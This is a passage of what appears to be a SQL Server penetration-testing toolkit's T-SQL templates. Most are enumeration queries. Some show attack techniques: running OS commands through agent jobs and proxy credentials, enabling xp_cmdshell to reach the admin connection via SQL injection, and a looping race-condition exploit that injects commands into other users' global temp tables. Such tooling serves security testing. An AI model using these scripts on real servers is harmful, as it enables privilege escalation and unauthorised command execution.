31 | SECRET = 'P@ssw0rd!';
32 |
33 | ----------------------------------------------------
34 | -- Get a list of all credentials
35 | ----------------------------------------------------
36 | select * from sys.credentials
37 |
38 | ----------------------------------------------------
39 | -- Get a list proxies
40 | ----------------------------------------------------
41 | USE msdb;
42 | GO
43 |
44 | SELECT
45 | proxy_id,
46 | name AS proxy_name,
47 | credential_id,
48 | enabled
49 | FROM
50 | dbo.sysproxies;
51 | GO
52 |
53 | ----------------------------------------------------
54 | -- Create a Proxy Using the Target Credential (if needed)
55 | ----------------------------------------------------
56 |
57 | USE msdb;
58 | GO
59 |
60 | EXEC sp_add_proxy
61 | @proxy_name = N'MyCredentialProxy', -- Name of the proxy
62 | @credential_name = N'MyCredential'; -- Name of the existing credential
63 |
64 | EXEC sp_grant_proxy_to_subsystem
65 | @proxy_name = N'MyCredentialProxy',
66 | @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem
67 |
68 | ----------------------------------------------------
69 | -- Get a list proxies - again
70 | ----------------------------------------------------
71 | USE msdb;
72 | GO
73 |
74 | SELECT
75 | proxy_id,
76 | name AS proxy_name,
77 | credential_id,
78 | enabled
79 | FROM
80 | dbo.sysproxies;
81 | GO
82 |
83 | ----------------------------------------------------
84 | -- Create the SQL Server Agent Job Configured to use the Proxy Account
85 | ----------------------------------------------------
86 |
87 | USE msdb;
88 | GO
89 |
90 | -- Create the job
91 | EXEC sp_add_job
92 | @job_name = N'WhoAmIJob'; -- Name of the job
93 |
94 | -- Add a job step that uses the proxy to execute the whoami command
95 | EXEC sp_add_jobstep
96 | @job_name = N'WhoAmIJob',
97 | @step_name = N'ExecuteWhoAmI',
98 | @subsystem = N'CmdExec', -- Specifies an Operating System command
99 | @command = N'c:\windows\system32\cmd.exe /c whoami > c:\temp\whoami.txt', -- The OS command to execute
100 | @on_success_action = 1, -- 1 = Quit with success
101 | @on_fail_action = 2, -- 2 = Quit with failure
102 | @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier
103 |
104 | -- Add a schedule to the job (optional, can be manual or scheduled)
105 | EXEC sp_add_jobschedule
106 | @job_name = N'WhoAmIJob',
107 | @name = N'RunOnce',
108 | @freq_type = 1, -- 1 = Once
109 | @active_start_date = 20240820, -- Start date (YYYYMMDD)
110 | @active_start_time = 120000; -- Start time (HHMMSS)
111 |
112 | -- Add the job to the SQL Server Agent
113 | EXEC sp_add_jobserver
114 | @job_name = N'WhoAmIJob',
115 | @server_name = N'(LOCAL)'; -- The server where the job will run
116 |
117 | ----------------------------------------------------
118 | -- Get List of Proxy Account used by Agent Jobs
119 | -- Show job, step, proxy, cred, and identity
120 | ----------------------------------------------------
121 |
122 | USE msdb;
123 | GO
124 |
125 | SELECT
126 | jobs.name AS JobName,
127 | steps.step_id AS StepID,
128 | steps.step_name AS StepName,
129 | proxies.name AS ProxyName,
130 | ISNULL(credentials.name, 'No Credential') AS CredentialName,
131 | ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName
132 | FROM
133 | msdb.dbo.sysjobs AS jobs
134 | JOIN
135 | msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id
136 | JOIN
137 | msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id
138 | LEFT JOIN
139 | sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id
140 | WHERE
141 | steps.proxy_id IS NOT NULL
142 | ORDER BY
143 | jobs.name, steps.step_id;
144 |
145 | --------------------------
146 | -- Execute the Job
147 | --------------------------
148 | EXEC sp_start_job @job_name = N'WhoAmIJob';
149 |
150 | --------------------------
151 | -- Check the Output/Error
152 | --------------------------
153 | EXEC sp_help_jobhistory @job_name= N'WhoAmIJob';
154 |
--------------------------------------------------------------------------------
/templates/tsql/Get-CurrentLogin.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-CurrentLogin
2 | -- Description: Returns the current login, and login used to login.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms189492.aspx
4 | SELECT SYSTEM_USER as [CURRENT_LOGIN],ORIGINAL_LOGIN() as [ORIGINAL_LOGIN]
--------------------------------------------------------------------------------
/templates/tsql/Get-DACQuery.sql:
--------------------------------------------------------------------------------
1 | -- Making a DAC connection via SQLi or direct connection using ad-hoc queries
2 |
3 | -- Verify that we don't have access to hidden SQL Server system tables - returns msg 208 "Invalid object name 'sys.sysrscols'."
4 |
5 | SELECT * FROM sys.sysrscols
6 |
7 | -- Enabled ad hoc queries (disabled by default)
8 | -- Note: Changing this configuration requires sysadmin privileges.
9 | -- Note: For sqli this can be placed into a stored procedure or binary encoded+executed with exec
10 |
11 | sp_configure 'Ad Hoc Distributed Queries',1
12 | reconfigure
13 | go
14 |
15 | -- Make a DAC connection via ad hoc query - tada!
16 |
17 | SELECT a.* FROM OPENROWSET('SQLNCLI', 'Server=ADMIN:SQLSERVER1\INSTANCE2014;Trusted_Connection=yes;','SELECT * FROM sys.sysrscols') AS a;
18 |
19 | Note: This could also be done with database links. Lots of potential for this one - Enjoy!
20 |
21 | -- Alternatively, you could just use xp_cmdshell to pass through to sqlcmd, osql, or isql, but the output isn't quite as nice.
22 |
23 | sp_configure 'show advanced options',1
24 | reconfigure
25 | go
26 |
27 | sp_configure 'xp_cmdshell',1
28 | reconfigure
29 | go
30 |
31 | xp_cmdshell 'sqlcmd -E -S "ADMIN:SQLSERVER1\INSTANCE2014" -Q "SELECT * FROM sys.sysrscols"'
32 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Database.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Database.sql
2 | -- Description: This will return viewable databases and some associated meta data.
3 | -- Filename may not be returned if the current user is not a sysadmin.
4 | -- If the "VIEW ANY DATABASE" privilege has been revoked from Public
5 | -- then some databases may not be listed if the current user is not a sysadmin.
6 | -- Reference: https://msdn.microsoft.com/en-us/library/ms178534.aspx
7 | -- TODO: Fix is_encrypted column - should only show on versions =>10
8 |
9 | SELECT @@SERVERNAME as [Instance],
10 | a.database_id as [DatabaseId],
11 | a.name as [DatabaseName],
12 | SUSER_SNAME(a.owner_sid) as [DatabaseOwner],
13 | IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin],
14 | a.is_trustworthy_on,
15 | a.is_db_chaining_on,
16 | a.is_broker_enabled,
17 | a.is_encrypted,
18 | a.is_read_only,
19 | a.create_date,
20 | a.recovery_model_desc,
21 | b.filename as [FileName],
22 | (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb],
23 | HAS_DBACCESS(a.name) as [has_dbaccess]
24 | FROM [sys].[databases] a
25 | INNER JOIN [sys].[sysdatabases] b
26 | ON a.database_id = b.dbid
27 |
--------------------------------------------------------------------------------
/templates/tsql/Get-DatabaseAudit.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-DatabaseAudit.sql
2 | -- Requirements: Sysadmin or required SELECT privileges.
3 | -- Description: Returns database audit specifications.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/cc280726.aspx
5 |
6 | SELECT * FROM sys.server_audits AS a
7 | JOIN sys.database_audit_specifications AS s
8 | ON a.audit_guid = s.audit_guid
9 | JOIN sys.database_audit_specification_details AS d
10 | ON s.database_specification_id = d.database_specification_id
11 |
--------------------------------------------------------------------------------
/templates/tsql/Get-DatabasePriv.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-DatabasePriv.sql
2 | -- Description: This script will return all of the database user
3 | -- privileges for the current database.
4 | -- Reference: http://msdn.microsoft.com/en-us/library/ms188367.aspx
5 | -- Note: This line below will also show full privs for sysadmin users
6 | -- SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
7 | -- http://stackoverflow.com/questions/410396/public-role-access-in-sql-server
8 |
9 | SELECT DISTINCT rp.name,
10 | ObjectType = rp.type_desc,
11 | PermissionType = pm.class_desc,
12 | pm.permission_name,
13 | pm.state_desc,
14 | ObjectType = CASE
15 | WHEN obj.type_desc IS NULL
16 | OR obj.type_desc = 'SYSTEM_TABLE' THEN
17 | pm.class_desc
18 | ELSE obj.type_desc
19 | END,
20 | [ObjectName] = Isnull(ss.name, Object_name(pm.major_id))
21 | FROM sys.database_principals rp
22 | INNER JOIN sys.database_permissions pm
23 | ON pm.grantee_principal_id = rp.principal_id
24 | LEFT JOIN sys.schemas ss
25 | ON pm.major_id = ss.schema_id
26 | LEFT JOIN sys.objects obj
27 | ON pm.[major_id] = obj.[object_id]
28 |
--------------------------------------------------------------------------------
/templates/tsql/Get-DatabaseRole.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-DatabaseRole.sql
2 | -- Description: This script with return database
3 | -- users and roles for current database.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms187328.aspx
5 |
6 | SELECT db_name() AS [DatabaseName],
7 | a.name AS [PrincipalName],
8 | a.type_desc AS [PrincipalType],
9 | USER_NAME(b.role_principal_id) AS [DatabaseRole],
10 | a.is_fixed_role [is_fixed_role]
11 | FROM [sys].[database_principals] a
12 | LEFT OUTER JOIN [sys].[database_role_members] b
13 | ON a.principal_id = b.member_principal_id
14 | WHERE a.sid IS NOT NULL
15 | ORDER BY [DatabaseName]
16 |
--------------------------------------------------------------------------------
/templates/tsql/Get-DatabaseUser.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-DatabaseUser.sql
2 | -- Description: Get list of users for the current database. To view all
3 | -- users you may need to be a sysadmin. Unless bruteforced.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms187328.aspx
5 | -- Join Ref: http://blog.sqlauthority.com/2009/04/13/sql-server-introduction-to-joins-basic-of-joins/
6 |
7 | SELECT
8 | a.principal_id,
9 | a.name as [database_user],
10 | b.name as [sql_login],
11 | a.type,
12 | a.type_desc,
13 | default_schema_name,
14 | a.sid,
15 | a.create_date,
16 | a.is_fixed_role
17 | FROM [sys].[database_principals] a
18 | LEFT JOIN [sys].[server_principals] b
19 | ON a.sid = b.sid
20 | ORDER BY principal_id
21 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Domain.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Domain.sql
2 | -- Description: Returns the default domain of the SQL Server.
3 | -- Reference: http://www.sanssql.com/2008/11/find-domain-name-using-t-sql.html
4 |
5 | SELECT DEFAULT_DOMAIN() as [DEFAULT_DOMAIN]
--------------------------------------------------------------------------------
/templates/tsql/Get-Endpoint.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-EndPoint.sql
2 | -- Description: Get list of available endpoints.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms189746.aspx
4 |
5 | SELECT * FROm [sys].[endpoints]
--------------------------------------------------------------------------------
/templates/tsql/Get-FQDN.sql:
--------------------------------------------------------------------------------
1 | -- Requires sysadmin
2 |
3 | -- option 1
4 | DECLARE @Domain NVARCHAR(100)
5 | EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\services\Tcpip\Parameters', N'Domain',@Domain OUTPUT
6 | SELECT Cast(SERVERPROPERTY('MachineName') as nvarchar) + '.' + @Domain AS FQDN
7 |
8 |
9 | -- option 2
10 | DECLARE @Domain NVARCHAR(100)
11 | EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Control\Lsa\CachedMachineNames', N'NameUserPrincipal',@Domain OUTPUT
12 | SELECT @Domain AS FQDN
13 |
--------------------------------------------------------------------------------
/templates/tsql/Get-GlobalTempTable-RaceUpdateExample.sql:
--------------------------------------------------------------------------------
1 | -------------------------------------------------------
2 | -- Script: Get-GlobalTempTable-RaceUpdate
3 | -- Author: Scott Sutherland
4 | -- Description:
5 | -- Update contents of all global temp tables using
6 | -- user defined code, this can be useful for exploiting
7 | -- some race conditions.
8 | -------------------------------------------------------
9 |
10 | ------------------------------------------------------
11 | -- Example 1: Known Table, Known Column
12 | ------------------------------------------------------
13 |
14 | -- Loop forever
15 | WHILE 1=1
16 | BEGIN
17 | -- Update table contents with custom powershell script
18 | -- In real world, use the path below, because it is writable by the restricted SQL Server service account, and c:\windows\temp\ is not.
19 | -- DECLARE @SQLerrorlogDir VARCHAR(256);SELECT @SQLerrorlogDir = master.dbo.fn_SQLServerErrorLogDir()
20 | DECLARE @mycommand varchar(max)
21 | SET @mycommand = 'UPDATE t1 SET t1.PSCode = ''whoami > c:\windows\temp\finishline.txt'' FROM ##temp123 t1'
22 | EXEC(@mycommand)
23 | END
24 |
25 | ------------------------------------------------------
26 | -- Example 2: Unknown Table, Known Column
27 | ------------------------------------------------------
28 |
29 | -- Create variables
30 | DECLARE @PsFileName NVARCHAR(4000)
31 | DECLARE @TargetDirectory NVARCHAR(4000)
32 | DECLARE @PsFilePath NVARCHAR(4000)
33 |
34 | -- Set filename for PowerShell script
35 | Set @PsFileName = 'finishline.txt'
36 |
37 | -- Set target directory for PowerShell script to be written to
38 | SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY('ErrorLogFileName')) as VARCHAR(MAX)),'ERRORLOG','')
39 |
40 | -- Create full output path for creating the PowerShell script
41 | SELECT @PsFilePath = @TargetDirectory + @PsFileName
42 |
43 | -- Loop forever
44 | WHILE 1=1
45 | BEGIN
46 | -- Set delay
47 | WAITFOR DELAY '0:0:1'
48 |
49 | -- Setup variables
50 | DECLARE @mytempname varchar(max)
51 |
52 | -- Iterate through all global temp tables
53 | DECLARE MY_CURSOR CURSOR
54 | FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
55 | OPEN MY_CURSOR
56 | FETCH NEXT FROM MY_CURSOR INTO @mytempname
57 | WHILE @@FETCH_STATUS = 0
58 | BEGIN
59 | -- Print table name
60 | PRINT @mytempname
61 |
62 | -- Update contents of known column with ps script in an unknown temp table
63 | DECLARE @mycommand varchar(max)
64 | SET @mycommand = 'UPDATE t1 SET t1.PSCode = ''Write-Output "hello world" | Out-File "' + @PsFilePath + '"'' FROM ' + @mytempname + ' t1'
65 | EXEC(@mycommand)
66 |
67 | -- Select table contents
68 | DECLARE @mycommand2 varchar(max)
69 | SET @mycommand2 = 'SELECT * FROM [' + @mytempname + ']'
70 | EXEC(@mycommand2)
71 |
72 | -- Next record
73 | FETCH NEXT FROM MY_CURSOR INTO @mytempname
74 | END
75 | CLOSE MY_CURSOR
76 | DEALLOCATE MY_CURSOR
77 | END
78 |
79 | ------------------------------------------------------
80 | -- Example 3: Unknown Table, Unkown column
81 | ------------------------------------------------------
82 | -- todo
83 |
84 |
--------------------------------------------------------------------------------
/templates/tsql/Get-GlobalTempTableColumns.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-GlobalTempTableColumns.sql
2 | -- Description: This can be used to monitor for global temp tables and their columns as a least privilege user.
3 | -- Author: Scott Sutherland
4 |
5 | -- Loop
6 | While 1=1
7 | BEGIN
8 |
9 | -- List global temp tables, columns, and column types
10 | SELECT t1.name as 'Table_Name',
11 | t2.name as 'Column_Name',
12 | t3.name as 'Column_Type',
13 | t1.create_date,
14 | t1.modify_date,
15 | t1.parent_object_id
16 | FROM tempdb.sys.objects AS t1
17 | JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
18 | JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
19 | WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1
20 |
21 | -- Set delay
22 | WaitFor Delay '00:00:01'
23 |
24 | END
25 |
--------------------------------------------------------------------------------
/templates/tsql/Get-GlobalTempTableData.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-GlobalTempTableData.sql
2 | -- Author: Scott Sutherland
3 | -- Description: Monitor for global temp tables.
4 | -- Sometimes they're used to store sensitive data
5 | -- or code that may be executed in another user's context.
6 |
7 | ------------------------------------------
8 | -- List All Global Temp Tables
9 | ------------------------------------------
10 |
11 | SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
12 |
13 | ------------------------------------------
14 | -- View Contents of All Global Temp Tables
15 | ------------------------------------------
16 |
17 | -- Setup variables
18 | DECLARE @mytempname varchar(max)
19 | DECLARE @psmyscript varchar(max)
20 |
21 | -- Iterate through all global temp tables
22 | DECLARE MY_CURSOR CURSOR
23 | FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
24 | OPEN MY_CURSOR
25 | FETCH NEXT FROM MY_CURSOR INTO @mytempname
26 | WHILE @@FETCH_STATUS = 0
27 | BEGIN
28 |
29 | -- Print table name
30 | PRINT @mytempname
31 |
32 | -- Select table contents
33 | DECLARE @myname varchar(max)
34 | SET @myname = 'SELECT * FROM [' + @mytempname + ']'
35 | EXEC(@myname)
36 |
37 | -- Next
38 | FETCH NEXT FROM MY_CURSOR INTO @mytempname
39 | END
40 | CLOSE MY_CURSOR
41 | DEALLOCATE MY_CURSOR
42 |
43 | ------------------------------------------
44 | -- Monitor content of All Global Temp Tables
45 | -- in a Loop
46 | -- Note: Make sure to manage this one
47 | -- carefully so you dont start the server
48 | -- on fire. :)
49 | ------------------------------------------
50 |
51 | While 1=1
52 | BEGIN
53 | -- Add delay if required
54 | -- waitfor delay '0:0:2'
55 |
56 | -- Setup variables
57 | DECLARE @mytempname varchar(max)
58 | DECLARE @psmyscript varchar(max)
59 |
60 | -- Iterate through all global temp tables
61 | DECLARE MY_CURSOR CURSOR
62 | FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
63 | OPEN MY_CURSOR
64 | FETCH NEXT FROM MY_CURSOR INTO @mytempname
65 | WHILE @@FETCH_STATUS = 0
66 | BEGIN
67 |
68 | -- Print table name
69 | PRINT @mytempname
70 |
71 | -- Select table contents
72 | DECLARE @myname varchar(max)
73 | SET @myname = 'SELECT * FROM [' + @mytempname + ']'
74 | EXEC(@myname)
75 |
76 | -- Next record
77 | FETCH NEXT FROM MY_CURSOR INTO @mytempname
78 | END
79 | CLOSE MY_CURSOR
80 | DEALLOCATE MY_CURSOR
81 | END
82 |
83 |
--------------------------------------------------------------------------------
/templates/tsql/Get-InstallationDate.sql:
--------------------------------------------------------------------------------
1 | -- Option 1: createdat FROM master.sys.syslogins
2 | -- Tested version: 2022, 2016, 2014, 2012
3 | -- Requirements: sysadmin
4 | -- Reference: https://www.dbrnd.com/2016/03/sql-server-script-to-find-installation-date-time-and-authentication-mode/
5 | SELECT
6 | createdate AS InstallationDate
7 | ,CASE SERVERPROPERTY('IsIntegratedSecurityOnly')
8 | WHEN 1 THEN 'Windows Authentication'
9 | WHEN 0 THEN 'Windows and SQL Server Authentication'
10 | END AS AuthenticationMode
11 | ,SERVERPROPERTY('servername') AS ServerName
12 | FROM master.sys.syslogins
13 | WHERE name LIKE 'NT AUTHORITY\SYSTEM'
14 |
15 |
16 | -- Option 2: create_date FROM sys.server_principals
17 | -- $server.VersionMajor -ge 9
18 | -- Tested version: 2022, 2016, 2014, 2012
19 | -- Requirements: sysadmin not required
20 | -- Reference: https://github.com/dataplat/dbatools/blob/6cae0dd18bda3ad8efd60404c2d05b402cc4a785/functions/Get-DbaInstanceInstallDate.ps1
21 | /*
22 | $sql = "SELECT create_date FROM sys.server_principals WHERE sid = 0x010100000000000512000000"
23 | [DbaDateTime]$sqlInstallDate = $server.Query($sql, 'master', $true).create_date
24 | */
25 |
26 | -- Option 3: schemadate FROM sysservers
27 | -- $server.VersionMajor -le 9
28 | -- Tested version: 2022, 2016, 2014, 2012
29 | -- Requirements: sysadmin not required
30 | --Reference: https://github.com/dataplat/dbatools/blob/6cae0dd18bda3ad8efd60404c2d05b402cc4a785/functions/Get-DbaInstanceInstallDate.ps1
31 | /*
32 | $sql = "SELECT schemadate FROM sysservers"
33 | [DbaDateTime]$sqlInstallDate = $server.Query($sql, 'master', $true).schemadate
34 | */
35 |
--------------------------------------------------------------------------------
/templates/tsql/Get-InstanceComputerSid.sql:
--------------------------------------------------------------------------------
1 | -- The following command will recover the SID for the current computer account if it's assocaited with a Active Directory domain.
2 | -- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
3 | -- Tested and works on: SQL Server 2012,2014,2016
4 | -- Currently failes on SQL Server 2008
5 | SELECT SUSER_SID(concat(DEFAULT_DOMAIN(),'\',cast(SERVERPROPERTY('MachineName') as varchar(max)),'$'))
6 |
--------------------------------------------------------------------------------
/templates/tsql/Get-MailCredential.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-MailCredential.sql
2 | -- Requirements: Sysadmin or required SELECT privileges.
3 | -- Description: Returns a row for SMTP credential. Everything but the cleartext credential is shown.
4 | -- Note: Tested on SQL Server 2008, 2012, 2014, 2016.
5 |
6 | SELECT c.name as credential_name,
7 | c.credential_id,
8 | ms.account_id,
9 | ms.servertype,
10 | ms.servername,
11 | ms.port,
12 | ms.username,
13 | a.name,
14 | a.display_name,
15 | a.description,
16 | a.email_address,
17 | a.replyto_address,
18 | ms.credential_id,
19 | ms.use_default_credentials,
20 | ms.enable_ssl,
21 | ms.flags,
22 | ms.last_mod_datetime,
23 | ms.last_mod_user
24 | FROM sys.credentials as c
25 | JOIN msdb.dbo.sysmail_server as ms
26 | ON c.credential_id = ms.credential_id
27 | JOIN msdb.dbo.sysmail_account as a
28 | ON ms.account_id = a.account_id
29 | WHERE ms.servertype like 'SMTP'
30 |
--------------------------------------------------------------------------------
/templates/tsql/Get-MyWindowsGroup.sql:
--------------------------------------------------------------------------------
1 | -- Potentially runs nest group enumeration
2 | -- this will show all the local and domain groups associated with the current login
3 | -- https://www.sqlserver-dba.com/2018/05/how-to-get-the-ad-groups-of-a-login-with-syslogin_token.html
4 | select * from sys.login_token
5 |
--------------------------------------------------------------------------------
/templates/tsql/Get-PrincipalID2SqlLogin.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Principal2SqlLogin.sql
2 | -- Description: Example showing how to get the sql login
3 | -- for a given principal_id.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms179889.aspx
5 |
6 | SELECT SUSER_NAME(1)
7 | SELECT SUSER_NAME(2)
8 | SELECT SUSER_NAME(3)
9 | SELECT SUSER_NAME(4)
10 | SELECT SUSER_NAME(5)
11 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Proc.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Proc.sql
2 | -- Description: Return a list of procedures for the current database.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms188757.aspx
4 |
5 | SELECT ROUTINE_CATALOG AS [DATABASE_NAME],
6 | ROUTINE_SCHEMA AS [SCHEMA_NAME],
7 | ROUTINE_NAME,
8 | ROUTINE_TYPE,
9 | ROUTINE_DEFINITION,
10 | SQL_DATA_ACCESS,
11 | ROUTINE_BODY,
12 | CREATED,
13 | LAST_ALTERED
14 | FROM [INFORMATION_SCHEMA].[ROUTINES]
15 |
--------------------------------------------------------------------------------
/templates/tsql/Get-ProcParameter.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ProcParameter.sql
2 | -- Description: Return stored procedures and parameter information
3 | -- for the current database.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms190324.aspx
5 | -- Reference: http://www.mssqltips.com/sqlservertip/1669/generate-a-parameter-list-for-all-sql-server-stored-procedures-and-functions/
6 | -- or just select * from INFORMATION_SCHEMA.PARAMETERS
7 |
8 | SELECT DB_NAME() as [DATABASE_NAME],
9 | SCHEMA_NAME(SCHEMA_ID) AS [SCHEMA_NAME],
10 | SO.name AS [ObjectName],
11 | SO.Type_Desc AS [ObjectType (UDF/SP)],
12 | P.parameter_id AS [ParameterID],
13 | P.name AS [ParameterName],
14 | TYPE_NAME(P.user_type_id) AS [ParameterDataType],
15 | P.max_length AS [ParameterMaxBytes],
16 | P.is_output AS [IsOutPutParameter]
17 | FROM sys.objects AS SO
18 | INNER JOIN sys.parameters AS P
19 | ON SO.OBJECT_ID = P.OBJECT_ID
20 | WHERE SO.OBJECT_ID IN ( SELECT OBJECT_ID
21 | FROM sys.objects
22 | WHERE TYPE IN ('P','FN'))
23 | ORDER BY [SCHEMA_NAME], SO.name, P.parameter_id
--------------------------------------------------------------------------------
/templates/tsql/Get-ProcPriv.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ProcPriv.sql
2 | -- Description: Return list of privileges for procedures in current database.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms188367.aspx
4 |
5 | SELECT b.name AS [DATABASE_USER],
6 | c.name AS [DATABASE_OBJECT_NAME],
7 | a.permission_name AS [OBJECT_PERMISSION]
8 | FROM [sys].[database_permissions] a
9 | INNER JOIN [sys].[sysusers] b
10 | ON a.[grantee_principal_id] = b.[uid]
11 | INNER JOIN [sys].[sysobjects] c
12 | ON a.[major_id] = c.[id]
13 | ORDER BY [DATABASE_USER],[DATABASE_OBJECT_NAME]
--------------------------------------------------------------------------------
/templates/tsql/Get-ProcSigned.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ProcSigned.sql
2 | -- Description: Return a list of signed stored procedures
3 | -- for the current database.
4 | -- Reference: https://books.google.com/books?id=lTtQXn2pO5kC&pg=PA158&dq=cp.thumbprint+%3D+cer.thumbprint+AND&hl=en&sa=X&ei=ID1tVeioDZCpogSO4oCgCA&ved=0CCcQ6AEwAA#v=onepage&q=cp.thumbprint%20%3D%20cer.thumbprint%20AND&f=false
5 |
6 | SELECT o.name as ObjectName,
7 | o.type_desc as ObjectType,
8 | cp.crypt_type as CryptType,
9 | CASE cp.crypt_type
10 | when 'SPVC' then cer.name
11 | when 'CPVC' then Cer.name
12 | when 'SPVA' then ak.name
13 | when 'CPVA' then ak.name
14 | END as keyname
15 | FROM sys.crypt_properties cp
16 | JOIN sys.objects o ON cp.major_id = o.object_id
17 | LEFT JOIN sys.certificates cer
18 | ON cp.thumbprint = cer.thumbprint
19 | AND cp.crypt_type IN ('SPVC','CPVC')
20 | LEFT JOIN sys.asymmetric_keys ak
21 | ON cp.thumbprint = ak.thumbprint
22 | AND cp.crypt_type IN ('SPVA','CPVA')
23 | ORDER BY keyname,ObjectType,ObjectName
--------------------------------------------------------------------------------
/templates/tsql/Get-ProcSignedByCertLogin.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ProcSignedByCertLogin.sql
2 | -- Description: Return a list of procedures signed with a certificate
3 | -- for the current database that also have logins that were generated from them.
4 | -- Reference: https://books.google.com/books?id=lTtQXn2pO5kC&pg=PA158&dq=cp.thumbprint+%3D+cer.thumbprint+AND&hl=en&sa=X&ei=ID1tVeioDZCpogSO4oCgCA&ved=0CCcQ6AEwAA#v=onepage&q=cp.thumbprint%20%3D%20cer.thumbprint%20AND&f=false
5 |
6 | SELECT spr.ROUTINE_CATALOG as [DATABASE_NAME],
7 | spr.SPECIFIC_SCHEMA as [SCHEMA_NAME],
8 | spr.ROUTINE_NAME as [SP_NAME],
9 | spr.ROUTINE_DEFINITION as SP_CODE,
10 | CASE cp.crypt_type
11 | when 'SPVC' then cer.name
12 | when 'CPVC' then Cer.name
13 | when 'SPVA' then ak.name
14 | when 'CPVA' then ak.name
15 | END as CERT_NAME,
16 | sp.name as CERT_LOGIN,
17 | sp.sid as CERT_SID
18 | FROM [sys].[crypt_properties] cp
19 | INNER JOIN [sys].[objects] o ON cp.major_id = o.object_id
20 | LEFT JOIN [sys].[certificates] cer
21 | ON cp.thumbprint = cer.thumbprint
22 | LEFT JOIN [sys].[asymmetric_keys] ak
23 | ON cp.thumbprint = ak.thumbprint
24 | LEFT JOIN [INFORMATION_SCHEMA].[ROUTINES] spr
25 | ON spr.ROUTINE_NAME = o.name
26 | LEFT JOIN [sys].[server_principals] sp
27 | ON sp.sid = cer.sid
28 | WHERE o.type_desc = 'SQL_STORED_PROCEDURE'
29 | AND sp.name is NOT NULL
30 | ORDER BY CERT_NAME
--------------------------------------------------------------------------------
/templates/tsql/Get-ProcSource.tsql:
--------------------------------------------------------------------------------
1 |
2 | -- Get list of procedures
3 | SELECT * FROM sysobjects where type = 'p'
4 |
5 | -- Indirectly get sp source for procedures
6 | sp_helptext 'sp_helptext'
7 |
8 | -- Indirectly get sp sourec for procedure or object
9 | SELECT OBJECT_DEFINITION(
10 | OBJECT_ID('sys.sysservers')
11 | ) AS [Definition];
12 |
13 | -- Directly get native sp source
14 | SELECT * FROM master.sys.all_sql_modules
15 |
16 | -- Directly get native sp source
17 | SELECT TEXT FROM master.sys.syscomments
18 |
19 | -- Directly get custom sp source
20 | SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
21 | FROM MASTER.INFORMATION_SCHEMA.ROUTINES
22 | ORDER BY ROUTINE_NAME
23 |
24 |
--------------------------------------------------------------------------------
/templates/tsql/Get-QueryHistory.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-QueryHistory.sql
2 | -- Requirements: Sysadmin or required SELECT privileges.
3 | -- Description: Returns queries executed on the system. It should include all queries since the service was started.
4 | -- Reference: http://blogs.lessthandot.com/index.php/datamgmt/dbprogramming/finding-out-how-many-times-a-table-is-be-2008/
5 |
6 | SELECT * FROM
7 | (SELECT
8 | COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname,
9 | qt.objectid as objectid,
10 | last_execution_time,
11 | execution_count,
12 | encrypted,
13 | (SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2) ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement
14 | FROM sys.dm_exec_query_stats AS qs
15 | CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x
16 | ORDER BY execution_count DESC
17 |
--------------------------------------------------------------------------------
/templates/tsql/Get-RolePrivs:
